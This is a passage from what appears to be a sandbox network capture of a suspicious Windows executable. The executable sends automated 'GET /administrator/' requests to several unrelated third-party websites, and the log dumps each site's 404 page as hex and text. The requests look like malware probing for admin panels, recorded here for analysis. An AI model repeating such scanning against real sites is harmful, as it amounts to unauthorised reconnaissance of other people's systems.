2023-11-26 05:59:32 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:32 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
2023-11-26 05:59:32 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	56215	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	184	OUT	GET /administrator/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	1483	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 48 65 61 64 65 72 73 3a 20 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 20 41 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Access-Control-Allow-Methods: GET,POSTAccess-Control-Allow-Headers: Content-Type, A
2023-11-26 05:59:33 UTC	6709	IN	Data Raw: 33 39 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 Data Ascii: 391a<!DOCTYPE html><html lang="es-MX"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://gruporegiosafety.com/xmlrpc.php" /><script type="text/javascript">document.documentE
2023-11-26 05:59:34 UTC	7915	IN	Data Raw: 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--pr
2023-11-26 05:59:34 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:34 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 Data Ascii: 1f40-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-viv
2023-11-26 05:59:34 UTC	7822	IN	Data Raw: 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 61 66 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6c 65 66 74 3a 31 65 6d 7d 2e 65 74 5f 62 75 74 74 6f 6e 5f 69 63 6f 6e 5f 76 69 73 69 62 6c 65 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 37 65 6d 7d 2e 65 74 5f 62 75 74 74 6f 6e 5f 69 63 6f 6e 5f 76 69 73 69 62 6c 65 2e 65 74 5f 62 75 74 74 6f 6e Data Ascii: eft .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button
2023-11-26 05:59:34 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:34 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 23 65 74 2d 61 6a 61 78 2d 73 61 76 69 6e 67 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 Data Ascii: 1f40-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transit
2023-11-26 05:59:34 UTC	7822	IN	Data Raw: 79 3a 30 7d 68 65 61 64 65 72 2e 65 74 2d 6c 2e 65 74 2d 6c 2d 2d 68 65 61 64 65 72 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 42 6f 74 74 6f 6d 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 Data Ascii: y:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0
2023-11-26 05:59:34 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	56272	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	175	OUT	GET /administrator/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:32 UTC	15911	IN	Data Raw: 37 39 37 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 7973<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:32 UTC	15193	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	56294	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	688	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 Data Ascii: HTTP/1.1 404 Not FoundServer: openrestyDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-cache, must-revalidate, max-age=0content-security-policy: up
2023-11-26 05:59:33 UTC	16322	IN	Data Raw: 33 66 62 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 62 74 2d 74 68 65 6d 65 3d 22 4c 61 77 20 46 69 72 6d 20 31 2e 30 2e 36 22 3e 0a 3c 68 65 61 64 3e 0a 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 Data Ascii: 3fba<!DOCTYPE html><html class="no-js" lang="en-US" data-bt-theme="Law Firm 1.0.6"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><meta name="mobile-web-ap
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 37 66 37 38 0d 0a 74 2d 74 65 6d 70 6c 61 74 65 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 31 2e 32 35 65 6d 3b 7d 0a 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 36 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 62 74 5f 62 62 5f 63 6f 6e 74 65 6e 74 Data Ascii: 7f78t-template.is-layout-grid){gap: 1.25em;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}.wp-block-pullquote{font-size: 1.5em;line-height: 1.6;}</style><link rel='stylesheet' id='bt_bb_content
2023-11-26 05:59:33 UTC	16256	IN	Data Raw: 74 43 6f 6e 74 65 6e 74 20 61 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 68 6f 76 65 72 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 2e 62 74 53 69 64 65 62 61 72 20 61 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 68 6f 76 65 72 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 2e 62 74 43 6f 6e 74 65 6e 74 20 61 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 68 6f 76 65 72 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 62 74 53 69 64 65 62 61 72 20 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 68 6f 76 65 72 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 62 74 43 6f 6e 74 65 6e 74 20 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 68 6f 76 65 72 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 2e 62 74 53 69 64 65 62 61 72 20 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 68 Data Ascii: tContent a.button.alt:hover, .woocommerce-page .btSidebar a.button.alt:hover, .woocommerce-page .btContent a.button.alt:hover, .woocommerce .btSidebar .button.alt:hover, .woocommerce .btContent .button.alt:hover, .woocommerce-page .btSidebar .button.alt:h
2023-11-26 05:59:33 UTC	128	IN	Data Raw: 33 37 65 38 0d 0a 3a 20 23 66 66 66 66 66 66 3b 0a 7d 0a 2e 62 74 5f 62 62 5f 62 75 74 74 6f 6e 5f 74 65 78 74 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 36 36 32 64 39 31 3b 0a 7d 0a 2e 62 74 5f 62 62 5f 74 65 78 74 20 75 6c 20 6c 69 20 7b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 64 69 73 63 3b 0a 7d 0a 2e 62 74 5f 62 62 5f 74 65 78 74 20 75 6c 20 6c 69 20 75 6c 20 6c Data Ascii: 37e8: #ffffff;}.bt_bb_button_text:hover {color: #662d91;}.bt_bb_text ul li {list-style: disc;}.bt_bb_text ul li ul l
2023-11-26 05:59:33 UTC	14192	IN	Data Raw: 69 20 7b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 63 69 72 63 6c 65 3b 0a 7d 0a 2e 62 74 4c 69 67 68 74 44 61 72 6b 48 65 61 64 65 72 20 2e 62 74 42 65 6c 6f 77 4c 6f 67 6f 41 72 65 61 2c 20 2e 62 74 4c 69 67 68 74 44 61 72 6b 48 65 61 64 65 72 20 2e 74 6f 70 42 61 72 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 41 46 39 39 42 44 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 7d 0a 2e 68 65 61 64 65 72 2d 74 6f 70 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0a 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 0a 7d 0a 2e 68 65 61 64 65 72 2d 74 6f 70 20 68 35 7b 0a 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 Data Ascii: i {list-style: circle;}.btLightDarkHeader .btBelowLogoArea, .btLightDarkHeader .topBar { background-color: #AF99BD; color: #fff;}.header-top{display: inline-flex;padding-bottom:5px;}.header-top h5{padding-top: 10px;padding-bottom:
2023-11-26 05:59:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
